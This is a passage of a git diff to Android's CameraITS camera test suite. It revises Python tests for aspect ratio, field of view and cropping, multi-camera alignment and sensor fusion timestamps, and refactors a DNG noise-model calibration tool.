+    """Test aspect ratio/field of view (FOV)/cropping for each tested formats combinations.
+
+    This test checks for:
+      1. Aspect ratio: images are not stretched
+      2. Crop: center of images is always center of the image sensor no matter
+         how the image is cropped from sensor's full FOV
+      3. FOV: images are always cropped to keep the maximum possible FOV with
+         only one dimension (horizontal or veritical) cropped.
+
+    Aspect ratio and FOV test runs on level3, full and limited devices.
+    Crop test only runs on full and level3 devices.
+
+    The test chart is a black circle inside a black square. When raw capture is
+    available, set the height vs. width ratio of the circle in the full-frame
+    raw as ground truth. In an ideal setup such ratio should be very close to
+    1.0, but here we just use the value derived from full resolution RAW as
+    ground truth to account for the possiblity that the chart is not well
+    positioned to be precisely parallel to image sensor plane.
+    The test then compare the ground truth ratio with the same ratio measured
+    on images captued using different stream combinations of varying formats
+    ("jpeg" and "yuv") and resolutions.
+    If raw capture is unavailable, a full resolution JPEG image is used to setup
+    ground truth. In this case, the ground truth aspect ratio is defined as 1.0
+    and it is the tester's responsibility to make sure the test chart is
+    properly positioned so the detected circles indeed have aspect ratio close
+    to 1.0 assuming no bugs causing image stretched.
+
+    The aspect ratio test checks the aspect ratio of the detected circle and
+    it will fail if the aspect ratio differs too much from the ground truth
+    aspect ratio mentioned above.
+
+    The FOV test examines the ratio between the detected circle area and the
+    image size. When the aspect ratio of the test image is the same as the
+    ground truth image, the ratio should be very close to the ground truth
+    value. When the aspect ratio is different, the difference is factored in
+    per the expectation of the Camera2 API specification, which mandates the
+    FOV reduction from full sensor area must only occur in one dimension:
+    horizontally or vertically, and never both. For example, let's say a sensor
+    has a 16:10 full sensor FOV. For all 16:10 output images there should be no
+    FOV reduction on them. For 16:9 output images the FOV should be vertically
+    cropped by 9/10. For 4:3 output images the FOV should be cropped
+    horizontally instead and the ratio (r) can be calculated as follows:
+        (16 * r) / 10 = 4 / 3 => r = 40 / 48 = 0.8333
+    Say the circle is covering x percent of the 16:10 sensor on the full 16:10
+    FOV, and assume the circle in the center will never be cut in any output
+    sizes (this can be achieved by picking the right size and position of the
+    test circle), the from above cropping expectation we can derive on a 16:9
+    output image the circle will cover (x / 0.9) percent of the 16:9 image; on
+    a 4:3 output image the circle will cover (x / 0.8333) percent of the 4:3
+    image.
+
+    The crop test checks that the center of any output image remains aligned
+    with center of sensor's active area, no matter what kind of cropping or
+    scaling is applied. The test verified that by checking the relative vector
+    from the image center to the center of detected circle remains unchanged.
+    The relative part is normalized by the detected circle size to account for
+    scaling effect.
+    """
+    aspect_ratio_gt = 1.0  # Ground truth circle width/height ratio.
+                           # If full resolution RAW is available as reference
+                           # then this will be updated to the value measured on
+                           # the RAW image. Otherwise a full resolution JPEG
+                           # will be used as reference and this value will be
+                           # 1.0.
+    failed_ar = []  # streams failed the aspect ratio test
+    failed_crop = []  # streams failed the crop test
+    failed_fov = []  # streams that fail FoV test
+    format_list = []  # format list for multiple capture objects.
+
+    # Do multi-capture of "iter" and "cmpr". Iterate through all the
+    # available sizes of "iter", and only use the size specified for "cmpr"
+    # The "cmpr" capture is only used so that we have multiple capture target
+    # instead of just one, which should help catching more potential issues.
+    # The test doesn't look into the output of "cmpr" images at all.
+    # The "iter_max" or "cmpr_size" key defines the maximal size being iterated
+    # or selected for the "iter" and "cmpr" stream accordingly. None means no
+    # upper bound is specified.
+    format_list.append({"iter": "yuv", "iter_max": None,
+                        "cmpr": "yuv", "cmpr_size": PREVIEW_SIZE})
+    format_list.append({"iter": "yuv", "iter_max": PREVIEW_SIZE,
+                        "cmpr": "jpeg", "cmpr_size": None})
+    format_list.append({"iter": "yuv", "iter_max": PREVIEW_SIZE,
+                        "cmpr": "raw", "cmpr_size": None})
+    format_list.append({"iter": "jpeg", "iter_max": None,
+                        "cmpr": "raw", "cmpr_size": None})
+    format_list.append({"iter": "jpeg", "iter_max": None,
+                        "cmpr": "yuv", "cmpr_size": PREVIEW_SIZE})
+    ref_fov = {}  # Reference frame's FOV related information
+                  # If RAW is available a full resolution RAW frame will be used
+                  # as reference frame; otherwise the highest resolution JPEG is used.
+    with its.device.ItsSession() as cam:
+        props = cam.get_camera_properties()
+        fls_logical = props['android.lens.info.availableFocalLengths']
+        print 'logical available focal lengths: %s', str(fls_logical)
+        props = cam.override_with_hidden_physical_camera_props(props)
+        fls_physical = props['android.lens.info.availableFocalLengths']
+        print 'physical available focal lengths: %s', str(fls_physical)
+        # determine skip conditions
+        first_api = its.device.get_first_api_level(its.device.get_device_id())
+        if first_api < 30:  # original constraint
+            its.caps.skip_unless(its.caps.read_3a(props))
+        else:  # loosen from read_3a to enable LIMITED coverage
+            its.caps.skip_unless(its.caps.ae_lock(props) and
+                                 its.caps.awb_lock(props))
+        # determine capabilities
+        full_device = its.caps.full_or_better(props)
+        limited_device = its.caps.limited(props)
+        its.caps.skip_unless(full_device or limited_device)
+        level3_device = its.caps.level3(props)
+        raw_avlb = its.caps.raw16(props)
+        run_crop_test = (level3_device or full_device) and raw_avlb
+        if not run_crop_test:
+            print "Crop test skipped"
+        debug = its.caps.debug_mode()
+        # Converge 3A
+        cam.do_3a()
+        req = its.objects.auto_capture_request()
+
+        # If raw is available and main camera, use it as ground truth.
+        if raw_avlb and (fls_physical == fls_logical):
+            ref_fov, cc_ct_gt, aspect_ratio_gt = find_raw_fov_reference(cam, req, props, debug)
+        else:
+            ref_fov, cc_ct_gt = find_jpeg_fov_reference(cam, req, props)
+
+        if run_crop_test:
+            # Normalize the circle size to 1/4 of the image size, so that
+            # circle size won't affect the crop test result
+            factor_cp_thres = ((min(ref_fov["w"], ref_fov["h"])/4.0) /
+                               max(ref_fov["circle_w"], ref_fov["circle_h"]))
+            thres_l_cp_test = THRESH_L_CP * factor_cp_thres
+            thres_xs_cp_test = THRESH_XS_CP * factor_cp_thres
+
+        # Take pictures of each settings with all the image sizes available.
+        for fmt in format_list:
+            fmt_iter = fmt["iter"]
+            fmt_cmpr = fmt["cmpr"]
+            dual_target = fmt_cmpr is not "none"
+            # Get the size of "cmpr"
+            if dual_target:
+                sizes = its.objects.get_available_output_sizes(
+                        fmt_cmpr, props, fmt["cmpr_size"])
+                if not sizes:  # device might not support RAW
+                    continue
+                size_cmpr = sizes[0]
+            for size_iter in its.objects.get_available_output_sizes(
+                    fmt_iter, props, fmt["iter_max"]):
+                w_iter = size_iter[0]
+                h_iter = size_iter[1]
+                # Skip testing same format/size combination
+                # ITS does not handle that properly now
+                if (dual_target
+                            and w_iter*h_iter == size_cmpr[0]*size_cmpr[1]
+                            and fmt_iter == fmt_cmpr):
+                    continue
+                out_surface = [{"width": w_iter,
+                                "height": h_iter,
+                                "format": fmt_iter}]
+                if dual_target:
+                    out_surface.append({"width": size_cmpr[0],
+                                        "height": size_cmpr[1],
+                                        "format": fmt_cmpr})
+                cap = cam.do_capture(req, out_surface)
+                if dual_target:
+                    frm_iter = cap[0]
+                else:
+                    frm_iter = cap
+                assert frm_iter["format"] == fmt_iter
+                assert frm_iter["width"] == w_iter
+                assert frm_iter["height"] == h_iter
+                print "Captured %s with %s %dx%d. Compared size: %dx%d" % (
+                        fmt_iter, fmt_cmpr, w_iter, h_iter, size_cmpr[0],
+                        size_cmpr[1])
+                img = its.image.convert_capture_to_rgb_image(frm_iter)
+                img_name = "%s_%s_with_%s_w%d_h%d.png" % (NAME,
+                                                          fmt_iter, fmt_cmpr,
+                                                          w_iter, h_iter)
+                aspect_ratio, cc_ct, (cc_w, cc_h) = measure_aspect_ratio(
+                        img, img_name, raw_avlb, debug)
+                # check fov coverage for all fmts in AR_CHECKED
+                fov_percent = calc_circle_image_ratio(
+                        cc_w, cc_h, w_iter, h_iter)
+                chk_percent = calc_expected_circle_image_ratio(ref_fov, w_iter, h_iter)
+                chk_enabled = is_checked_aspect_ratio(first_api, w_iter, h_iter)
+                if chk_enabled and not np.isclose(fov_percent, chk_percent,
+                                                  rtol=FOV_PERCENT_RTOL):
+                    msg = "FoV %%: %.2f, Ref FoV %%: %.2f, " % (
+                            fov_percent, chk_percent)
+                    msg += "TOL=%.f%%, img: %dx%d, ref: %dx%d" % (
+                            FOV_PERCENT_RTOL*100, w_iter, h_iter,
+                            ref_fov["w"], ref_fov["h"])
+                    failed_fov.append(msg)
+                    its.image.write_image(img/255, img_name, True)
+
+                # check pass/fail for aspect ratio
+                # image size: the larger one of image width and height
+                # image size >= LARGE_SIZE: use THRESH_L_AR
+                # image size == 0 (extreme case): THRESH_XS_AR
+                # 0 < image size < LARGE_SIZE: scale between THRESH_XS_AR
+                # and THRESH_L_AR
+                thres_ar_test = max(
+                        THRESH_L_AR, THRESH_XS_AR + max(w_iter, h_iter) *
+                        (THRESH_L_AR-THRESH_XS_AR)/LARGE_SIZE)
+                thres_range_ar = (aspect_ratio_gt-thres_ar_test,
+                                  aspect_ratio_gt+thres_ar_test)
+                if (aspect_ratio < thres_range_ar[0] or
+                            aspect_ratio > thres_range_ar[1]):
+                    failed_ar.append({"fmt_iter": fmt_iter,
+                                      "fmt_cmpr": fmt_cmpr,
+                                      "w": w_iter, "h": h_iter,
+                                      "ar": aspect_ratio,
+                                      "valid_range": thres_range_ar})
+                    its.image.write_image(img/255, img_name, True)
+
+                # check pass/fail for crop
+                if run_crop_test:
+                    # image size >= LARGE_SIZE: use thres_l_cp_test
+                    # image size == 0 (extreme case): thres_xs_cp_test
+                    # 0 < image size < LARGE_SIZE: scale between
+                    # thres_xs_cp_test and thres_l_cp_test
+                    # Also, allow at least THRESH_MIN_PIXEL off to
+                    # prevent threshold being too tight for very
+                    # small circle
+                    thres_hori_cp_test = max(
+                            thres_l_cp_test, thres_xs_cp_test + w_iter *
+                            (thres_l_cp_test-thres_xs_cp_test)/LARGE_SIZE)
+                    min_threshold_h = THRESH_MIN_PIXEL / cc_w
+                    thres_hori_cp_test = max(thres_hori_cp_test,
+                                             min_threshold_h)
+                    thres_range_h_cp = (cc_ct_gt["hori"]-thres_hori_cp_test,
+                                        cc_ct_gt["hori"]+thres_hori_cp_test)
+                    thres_vert_cp_test = max(
+                            thres_l_cp_test, thres_xs_cp_test + h_iter *
+                            (thres_l_cp_test-thres_xs_cp_test)/LARGE_SIZE)
+                    min_threshold_v = THRESH_MIN_PIXEL / cc_h
+                    thres_vert_cp_test = max(thres_vert_cp_test,
+                                             min_threshold_v)
+                    thres_range_v_cp = (cc_ct_gt["vert"]-thres_vert_cp_test,
+                                        cc_ct_gt["vert"]+thres_vert_cp_test)
+                    if (cc_ct["hori"] < thres_range_h_cp[0]
+                                or cc_ct["hori"] > thres_range_h_cp[1]
+                                or cc_ct["vert"] < thres_range_v_cp[0]
+                                or cc_ct["vert"] > thres_range_v_cp[1]):
+                        failed_crop.append({"fmt_iter": fmt_iter,
+                                            "fmt_cmpr": fmt_cmpr,
+                                            "w": w_iter, "h": h_iter,
+                                            "ct_hori": cc_ct["hori"],
+                                            "ct_vert": cc_ct["vert"],
+                                            "valid_range_h": thres_range_h_cp,
+                                            "valid_range_v": thres_range_v_cp})
+                        its.image.write_image(img/255, img_name, True)
+
+        # Print failed any test results
+        print_failed_test_results(failed_ar, failed_fov, failed_crop)
+        assert not failed_ar
+        assert not failed_fov
+        if level3_device:
+            assert not failed_crop
+
+
 if __name__ == "__main__":
     main()
diff --git a/apps/CameraITS/tests/scene4/test_multi_camera_alignment.py b/apps/CameraITS/tests/scene4/test_multi_camera_alignment.py
index 94e5c6b..2d08267 100644
--- a/apps/CameraITS/tests/scene4/test_multi_camera_alignment.py
+++ b/apps/CameraITS/tests/scene4/test_multi_camera_alignment.py
@@ -26,8 +26,8 @@
 
 import numpy as np
 
-ALIGN_TOL_MM = 4.0E-3  # mm
-ALIGN_TOL = 0.01  # multiplied by sensor diagonal to convert to pixels
+ALIGN_ATOL_MM = 10E-3  # mm
+ALIGN_RTOL = 0.01  # multiplied by sensor diagonal to convert to pixels
 CIRCLE_RTOL = 0.1
 GYRO_REFERENCE = 1
 LENS_FACING_BACK = 1  # 0: FRONT, 1: BACK, 2: EXTERNAL
@@ -241,7 +241,7 @@
         gray:           numpy grayscale array with pixel values in [0,255].
         name:           string of file name.
     Returns:
-        circle:         (circle_center_x, circle_center_y, radius)
+        circle:         {'x': val, 'y': val, 'r': val}
     """
     size = gray.shape
     # otsu threshold to binarize the image
@@ -282,7 +282,7 @@
         # 3. Child's width > 0.1*Image width
         # 4. Child's height > 0.1*Image height
         # 5. 0.25*Parent's area < Child's area < 0.45*Parent's area
-        # 6. Child is a black, and Parent is white
+        # 6. Child == 0, and Parent == 255
         # 7. Center of Child and center of parent should overlap
         if (prt_shape['width'] * 0.56 < child_shape['width']
                     < prt_shape['width'] * 0.76
@@ -315,7 +315,7 @@
         print 'More than one black circle was detected. Background of scene',
         print 'may be too complex.\n'
         assert num_circle == 1
-    return [circle_ctx, circle_cty, (circle_w+circle_h)/4.0]
+    return {'x': circle_ctx, 'y': circle_cty, 'r': (circle_w+circle_h)/4.0}
 
 
 def define_reference_camera(pose_reference, cam_reference):
@@ -335,6 +335,9 @@
         i_2nd = list(cam_reference.keys())[1]
     else:
         print 'pose_reference is CAMERA'
+        num_ref_cameras = len([v for v in cam_reference.itervalues() if v])
+        e_msg = 'Too many/few reference cameras: %s' % str(cam_reference)
+        assert num_ref_cameras == 1, e_msg
         i_ref = (k for (k, v) in cam_reference.iteritems() if v).next()
         i_2nd = (k for (k, v) in cam_reference.iteritems() if not v).next()
     return i_ref, i_2nd
@@ -357,7 +360,7 @@
     world coordinates.
 
     Reproject the world coordinates back to pixel coordinates and compare
-    against originals as a sanity check.
+    against originals as a validity check.
 
     Compare the circle sizes if the focal lengths of the cameras are
     different using
@@ -378,7 +381,6 @@
                              its.caps.logical_multi_camera(props) and
                              its.caps.backward_compatible(props))
         debug = its.caps.debug_mode()
-        avail_fls = props['android.lens.info.availableFocalLengths']
         pose_reference = props['android.lens.poseReference']
 
         # Convert chart_distance for lens facing back
@@ -458,6 +460,7 @@
         circle = {}
         fl = {}
         sensor_diag = {}
+        pixel_sizes = {}
         capture_cam_ids = physical_ids
         if fmt == 'raw':
             capture_cam_ids = physical_raw_ids
@@ -519,7 +522,7 @@
                 print 't:', t[i]
                 print 'r:', r[i]
 
-            # Correct lens distortion to image (if available)
+            # Correct lens distortion to RAW image (if available)
             if its.caps.distortion_correction(physical_props[i]) and fmt == 'raw':
                 distort = np.array(physical_props[i]['android.lens.distortion'])
                 assert len(distort) == 5, 'distortion has wrong # of params.'
@@ -536,26 +539,37 @@
             # Find the circles in grayscale image
             circle[i] = find_circle(cv2.cvtColor(img, cv2.COLOR_BGR2GRAY),
                                     '%s_%s_gray_%s.jpg' % (NAME, fmt, i))
-            print 'Circle radius ', i, ': ', circle[i][2]
+            print 'Circle %s radius: %.3f' % (i, circle[i]['r'])
 
             # Undo zoom to image (if applicable). Assume that the maximum
             # physical YUV image size is close to active array size.
             if fmt == 'yuv':
-                ar = physical_props[i]['android.sensor.info.activeArraySize']
-                arw = ar['right'] - ar['left']
-                arh = ar['bottom'] - ar['top']
+                yuv_w = caps[(fmt, i)]['width']
+                yuv_h = caps[(fmt, i)]['height']
+                print 'cap size: %d x %d' % (yuv_w, yuv_h)
                 cr = caps[(fmt, i)]['metadata']['android.scaler.cropRegion']
                 crw = cr['right'] - cr['left']
                 crh = cr['bottom'] - cr['top']
                 # Assume pixels remain square after zoom, so use same zoom
                 # ratios for x and y.
-                zoom_ratio = min(1.0 * arw / crw, 1.0 * arh / crh)
-                circle[i][0] = cr['left'] + circle[i][0] / zoom_ratio
-                circle[i][1] = cr['top'] + circle[i][1] / zoom_ratio
-                circle[i][2] = circle[i][2] / zoom_ratio
+                zoom_ratio = min(1.0 * yuv_w / crw, 1.0 * yuv_h / crh)
+                circle[i]['x'] = cr['left'] + circle[i]['x'] / zoom_ratio
+                circle[i]['y'] = cr['top'] + circle[i]['y'] / zoom_ratio
+                circle[i]['r'] = circle[i]['r'] / zoom_ratio
+                print ' Calculated zoom_ratio:', zoom_ratio
+                print ' Corrected circle X:', circle[i]['x']
+                print ' Corrected circle Y:', circle[i]['y']
+                print ' Corrected circle radius : %.3f'  % circle[i]['r']
 
-            # Find focal length & sensor size
+            # Find focal length and pixel & sensor size
             fl[i] = physical_props[i]['android.lens.info.availableFocalLengths'][0]
+            ar = physical_props[i]['android.sensor.info.activeArraySize']
+            sensor_size = physical_props[i]['android.sensor.info.physicalSize']
+            pixel_size_w = sensor_size['width'] / (ar['right'] - ar['left'])
+            pixel_size_h = sensor_size['height'] / (ar['bottom'] - ar['top'])
+            print 'pixel size(um): %.2f x %.2f' % (
+                pixel_size_w*1E3, pixel_size_h*1E3)
+            pixel_sizes[i] = (pixel_size_w + pixel_size_h) / 2 * 1E3
             sensor_diag[i] = math.sqrt(size[i][0] ** 2 + size[i][1] ** 2)
 
         i_ref, i_2nd = define_reference_camera(pose_reference, cam_reference)
@@ -566,10 +580,10 @@
         y_w = {}
         for i in [i_ref, i_2nd]:
             x_w[i], y_w[i] = convert_to_world_coordinates(
-                    circle[i][0], circle[i][1], r[i], t[i], k[i],
+                    circle[i]['x'], circle[i]['y'], r[i], t[i], k[i],
                     chart_distance)
 
-        # Back convert to image coordinates for sanity check
+        # Back convert to image coordinates for round-trip check
         x_p = {}
         y_p = {}
         x_p[i_2nd], y_p[i_2nd] = convert_to_image_coordinates(
@@ -582,7 +596,7 @@
         # Summarize results
         for i in [i_ref, i_2nd]:
             print ' Camera: %s' % i
-            print ' x, y (pixels): %.1f, %.1f' % (circle[i][0], circle[i][1])
+            print ' x, y (pixels): %.1f, %.1f' % (circle[i]['x'], circle[i]['y'])
             print ' x_w, y_w (mm): %.2f, %.2f' % (x_w[i]*1.0E3, y_w[i]*1.0E3)
             print ' x_p, y_p (pixels): %.1f, %.1f' % (x_p[i], y_p[i])
 
@@ -591,31 +605,31 @@
                              np.array([x_w[i_2nd], y_w[i_2nd]]))
         print 'Center location err (mm): %.2f' % (err*1E3)
         msg = 'Center locations %s <-> %s too different!' % (i_ref, i_2nd)
-        msg += ' val=%.2fmm, THRESH=%.fmm' % (err*1E3, ALIGN_TOL_MM*1E3)
-        assert err < ALIGN_TOL, msg
+        msg += ' val=%.2fmm, THRESH=%.fmm' % (err*1E3, ALIGN_ATOL_MM*1E3)
+        assert err < ALIGN_ATOL_MM, msg
 
         # Check projections back into pixel space
         for i in [i_ref, i_2nd]:
-            err = np.linalg.norm(np.array([circle[i][0], circle[i][1]]) -
+            err = np.linalg.norm(np.array([circle[i]['x'], circle[i]['y']]) -
                                  np.array([x_p[i], y_p[i]]))
-            print 'Camera %s projection error (pixels): %.1f' % (i, err)
-            tol = ALIGN_TOL * sensor_diag[i]
+            print 'Camera %s projection error (pixels): %.2f' % (i, err)
+            tol = ALIGN_RTOL * sensor_diag[i]
             msg = 'Camera %s project locations too different!' % i
             msg += ' diff=%.2f, TOL=%.2f' % (err, tol)
             assert err < tol, msg
 
         # Check focal length and circle size if more than 1 focal length
-        if len(avail_fls) > 1:
+        if len(fl) > 1:
             print 'Circle radii (pixels); ref: %.1f, 2nd: %.1f' % (
-                    circle[i_ref][2], circle[i_2nd][2])
+                    circle[i_ref]['r'], circle[i_2nd]['r'])
             print 'Focal lengths (diopters); ref: %.2f, 2nd: %.2f' % (
                     fl[i_ref], fl[i_2nd])
-            print 'Sensor diagonals (pixels); ref: %.2f, 2nd: %.2f' % (
-                    sensor_diag[i_ref], sensor_diag[i_2nd])
+            print 'Pixel size (um); ref: %.2f, 2nd: %.2f' % (
+                    pixel_sizes[i_ref], pixel_sizes[i_2nd])
             msg = 'Circle size scales improperly! RTOL=%.1f' % CIRCLE_RTOL
-            msg += '\nMetric: radius/focal_length*sensor_diag should be equal.'
-            assert np.isclose(circle[i_ref][2]/fl[i_ref]*sensor_diag[i_ref],
-                              circle[i_2nd][2]/fl[i_2nd]*sensor_diag[i_2nd],
+            msg += '\nMetric: radius*pixel_size/focal_length should be equal.'
+            assert np.isclose(circle[i_ref]['r']*pixel_sizes[i_ref]/fl[i_ref],
+                              circle[i_2nd]['r']*pixel_sizes[i_2nd]/fl[i_2nd],
                               rtol=CIRCLE_RTOL), msg
 
 if __name__ == '__main__':
diff --git a/apps/CameraITS/tests/sensor_fusion/test_sensor_fusion.py b/apps/CameraITS/tests/sensor_fusion/test_sensor_fusion.py
index 9292f6a3..f1b1d36 100644
--- a/apps/CameraITS/tests/sensor_fusion/test_sensor_fusion.py
+++ b/apps/CameraITS/tests/sensor_fusion/test_sensor_fusion.py
@@ -128,7 +128,7 @@
     else:
         events, frames, _, h = load_data()
 
-    # Sanity check camera timestamps are enclosed by sensor timestamps
+    # Check that camera timestamps are enclosed by sensor timestamps
     # This will catch bugs where camera and gyro timestamps go completely out
     # of sync
     cam_times = get_cam_times(events["cam"])
diff --git a/apps/CameraITS/tools/DngNoiseModel.pdf b/apps/CameraITS/tools/DngNoiseModel.pdf
index fee9e70..7cbdbd0 100644
--- a/apps/CameraITS/tools/DngNoiseModel.pdf
+++ b/apps/CameraITS/tools/DngNoiseModel.pdf
Binary files differ
diff --git a/apps/CameraITS/tools/dng_noise_model.py b/apps/CameraITS/tools/dng_noise_model.py
index b490d19..db37deb 100644
--- a/apps/CameraITS/tools/dng_noise_model.py
+++ b/apps/CameraITS/tools/dng_noise_model.py
@@ -1,4 +1,4 @@
-# Copyright 2014 The Android Open Source Project
+# Copyright 2014 The Android Open Source Project. Lint as python2
 #
 # Licensed under the Apache License, Version 2.0 (the "License");
 # you may not use this file except in compliance with the License.
@@ -21,7 +21,6 @@
 import its.image
 import its.objects
 
-import matplotlib
 from matplotlib import pylab
 import matplotlib.pyplot as plt
 import numpy as np
@@ -29,61 +28,24 @@
 import scipy.stats
 
 BAYER_LIST = ['R', 'GR', 'GB', 'B']
+BRACKET_MAX = 8  # Exposure bracketing range in stops
+COLORS = 'rygcbm'  # Colors used for plotting the data for each exposure.
+MAX_SCALE_FUDGE = 1.1
+MAX_SIGNAL_VALUE = 0.25  # Maximum value to allow mean of the tiles to go.
 NAME = os.path.basename(__file__).split('.')[0]
 RTOL_EXP_GAIN = 0.97
-
-
-def tile(a, tile_size):
-    """Convert a 2D array to 4D w/ dims [tile_size, tile_size, row, col] where row, col are tile indices.
-    """
-    tile_rows, tile_cols = a.shape[0]/tile_size, a.shape[1]/tile_size
-    a = a.reshape([tile_rows, tile_size, tile_cols, tile_size])
-    a = a.transpose([1, 3, 0, 2])
-    return a
+STEPS_PER_STOP = 2  # How many sensitivities per stop to sample.
+# How large of tiles to use to compute mean/variance.
+# Large tiles may have their variance corrupted by low frequency
+# image changes (lens shading, scene illumination).
+TILE_SIZE = 32
 
 
 def main():
     """Capture a set of raw images with increasing analog gains and measure the noise.
     """
 
-    # How many sensitivities per stop to sample.
-    steps_per_stop = 2
-    # How large of tiles to use to compute mean/variance.
-    tile_size = 64
-    # Exposure bracketing range in stops
-    bracket_stops = 4
-    # How high to allow the mean of the tiles to go.
-    max_signal_level = 0.25
-    # Colors used for plotting the data for each exposure.
-    colors = 'rygcbm'
-
-    # Define a first order high pass filter to eliminate low frequency
-    # signal content when computing variance.
-    f = np.array([-1, 1]).astype('float32')
-    # Make it a higher order filter by convolving the first order
-    # filter with itself a few times.
-    f = np.convolve(f, f)
-    f = np.convolve(f, f)
-
-    # Compute the normalization of the filter to preserve noise
-    # power. Let a be the normalization factor we're looking for, and
-    # Let X and X' be the random variables representing the noise
-    # before and after filtering, respectively. First, compute
-    # Var[a*X']:
-    #
-    #   Var[a*X'] = a^2*Var[X*f_0 + X*f_1 + ... + X*f_N-1]
-    #             = a^2*(f_0^2*Var[X] + f_1^2*Var[X] + ... + (f_N-1)^2*Var[X])
-    #             = sum(f_i^2)*a^2*Var[X]
-    #
-    # We want Var[a*X'] to be equal to Var[X]:
-    #
-    #    sum(f_i^2)*a^2*Var[X] = Var[X] -> a = sqrt(1/sum(f_i^2))
-    #
-    # We can just bake this normalization factor into the high pass
-    # filter kernel.
-    f /= math.sqrt(np.dot(f, f))
-
-    bracket_factor = math.pow(2, bracket_stops)
+    bracket_factor = math.pow(2, BRACKET_MAX)
 
     with its.device.ItsSession() as cam:
         props = cam.get_camera_properties()
@@ -95,28 +57,28 @@
         sens_max_meas = sens_max_analog
         white_level = props['android.sensor.info.whiteLevel']
 
-        print "Sensitivity range: [%f, %f]" % (sens_min, sens_max)
-        print "Max analog sensitivity: %f" % (sens_max_analog)
+        print 'Sensitivity range: [%f, %f]' % (sens_min, sens_max)
+        print 'Max analog sensitivity: %f' % (sens_max_analog)
 
         # Do AE to get a rough idea of where we are.
-        s_ae, e_ae, _, _, _ = \
-            cam.do_3a(get_results=True, do_awb=False, do_af=False)
+        s_ae, e_ae, _, _, _ = cam.do_3a(
+                get_results=True, do_awb=False, do_af=False)
         # Underexpose to get more data for low signal levels.
-        auto_e = s_ae*e_ae/bracket_factor
+        auto_e = s_ae * e_ae / bracket_factor
         # Focus at zero to intentionally blur the scene as much as possible.
         f_dist = 0.0
 
         # If the auto-exposure result is too bright for the highest
         # sensitivity or too dark for the lowest sensitivity, report
         # an error.
-        min_exposure_ns, max_exposure_ns = \
-            props['android.sensor.info.exposureTimeRange']
+        min_exposure_ns, max_exposure_ns = props[
+                'android.sensor.info.exposureTimeRange']
         if auto_e < min_exposure_ns*sens_max_meas:
-            raise its.error.Error("Scene is too bright to properly expose \
-                                  at the highest sensitivity")
+            raise its.error.Error('Scene is too bright to properly expose '
+                                  'at the highest sensitivity')
         if auto_e*bracket_factor > max_exposure_ns*sens_min:
-            raise its.error.Error("Scene is too dark to properly expose \
-                                  at the lowest sensitivity")
+            raise its.error.Error('Scene is too dark to properly expose '
+                                  'at the lowest sensitivity')
 
         # Start the sensitivities at the minimum.
         s = sens_min
@@ -138,57 +100,56 @@
                 plot.set_ylabel('Variance')
 
             samples_s = [[], [], [], []]
-            for b in range(0, bracket_stops):
+            for b in range(BRACKET_MAX):
                 # Get the exposure for this sensitivity and exposure time.
                 e = int(math.pow(2, b)*auto_e/float(s))
                 print 'exp %.3fms' % round(e*1.0E-6, 3)
                 req = its.objects.manual_capture_request(s_int, e, f_dist)
-                cap = cam.do_capture(req, cam.CAP_RAW)
-                planes = its.image.convert_capture_to_planes(cap, props)
-                e_read = cap['metadata']['android.sensor.exposureTime']
+                fmt_raw = {'format': 'rawStats',
+                           'gridWidth': TILE_SIZE,
+                           'gridHeight': TILE_SIZE}
+                cap = cam.do_capture(req, fmt_raw)
+                mean_image, var_image = its.image.unpack_rawstats_capture(cap)
+                idxs = its.image.get_canonical_cfa_order(props)
+                means = [mean_image[:, :, i] for i in idxs]
+                vars_ = [var_image[:, :, i] for i in idxs]
+
                 s_read = cap['metadata']['android.sensor.sensitivity']
                 s_err = 's_write: %d, s_read: %d, RTOL: %.2f' % (
                         s, s_read, RTOL_EXP_GAIN)
                 assert (1.0 >= s_read/float(s_int) >= RTOL_EXP_GAIN), s_err
                 print 'ISO_write: %d, ISO_read: %d' %  (s_int, s_read)
 
-                for (pidx, p) in enumerate(planes):
+                for pidx in range(len(means)):
                     plot = color_plane_plots[s_int][pidx]
 
-                    p = p.squeeze()
-
-                    # Crop the plane to be a multiple of the tile size.
-                    p = p[0:p.shape[0] - p.shape[0]%tile_size,
-                          0:p.shape[1] - p.shape[1]%tile_size]
-
                     # convert_capture_to_planes normalizes the range
                     # to [0, 1], but without subtracting the black
                     # level.
                     black_level = its.image.get_black_level(
-                            pidx, props, cap["metadata"])
-                    p *= white_level
-                    p = (p - black_level)/(white_level - black_level)
+                            pidx, props, cap['metadata'])
+                    means_p = (means[pidx] - black_level)/(white_level - black_level)
+                    vars_p = vars_[pidx]/((white_level - black_level)**2)
 
-                    # Use our high pass filter to filter this plane.
-                    hp = scipy.signal.sepfir2d(p, f, f).astype('float32')
+                    # TODO(dsharlet): It should be possible to account for low
+                    # frequency variation by looking at neighboring means, but I
+                    # have not been able to make this work.
 
-                    means_tiled = \
-                        np.mean(tile(p, tile_size), axis=(0, 1)).flatten()
-                    vars_tiled = \
-                        np.var(tile(hp, tile_size), axis=(0, 1)).flatten()
+                    means_p = np.asarray(means_p).flatten()
+                    vars_p = np.asarray(vars_p).flatten()
 
                     samples_e = []
-                    for (mean, var) in zip(means_tiled, vars_tiled):
+                    for (mean, var) in zip(means_p, vars_p):
                         # Don't include the tile if it has samples that might
                         # be clipped.
-                        if mean + 2*math.sqrt(var) < max_signal_level:
+                        if mean + 2*math.sqrt(max(var, 0)) < MAX_SIGNAL_VALUE:
                             samples_e.append([mean, var])
 
                     if samples_e:
                         means_e, vars_e = zip(*samples_e)
                         color_plane_plots[s_int][pidx].plot(
-                                means_e, vars_e, colors[b%len(colors)] + '.',
-                                alpha=0.5)
+                                means_e, vars_e, COLORS[b%len(COLORS)] + '.',
+                                alpha=0.5, markersize=1)
                         samples_s[pidx].extend(samples_e)
 
             for (pidx, p) in enumerate(samples_s):
@@ -200,15 +161,12 @@
                 samples[pidx].extend([(s_int, mean, var) for (mean, var) in samples_s[pidx]])
 
                 # Add the linear fit to subplot for this sensitivity.
-                # pylab.subplot(2, 2, pidx+1)
-                #pylab.plot([0, max_signal_level], [O, O + S*max_signal_level], 'rgkb'[pidx]+'--',
-                           #label="Linear fit")
-                color_plane_plots[s_int][pidx].plot([0, max_signal_level],
-                        [O, O + S*max_signal_level], 'rgkb'[pidx]+'--',
-                        label="Linear fit")
+                color_plane_plots[s_int][pidx].plot(
+                        [0, MAX_SIGNAL_VALUE], [O, O + S*MAX_SIGNAL_VALUE],
+                        'rgkb'[pidx]+'--', label='Linear fit')
 
-                xmax = max([max([x for (x, _) in p]) for p in samples_s])*1.25
-                ymax = max([max([y for (_, y) in p]) for p in samples_s])*1.25
+                xmax = max([max([x for (x, _) in p]) for p in samples_s])*MAX_SCALE_FUDGE
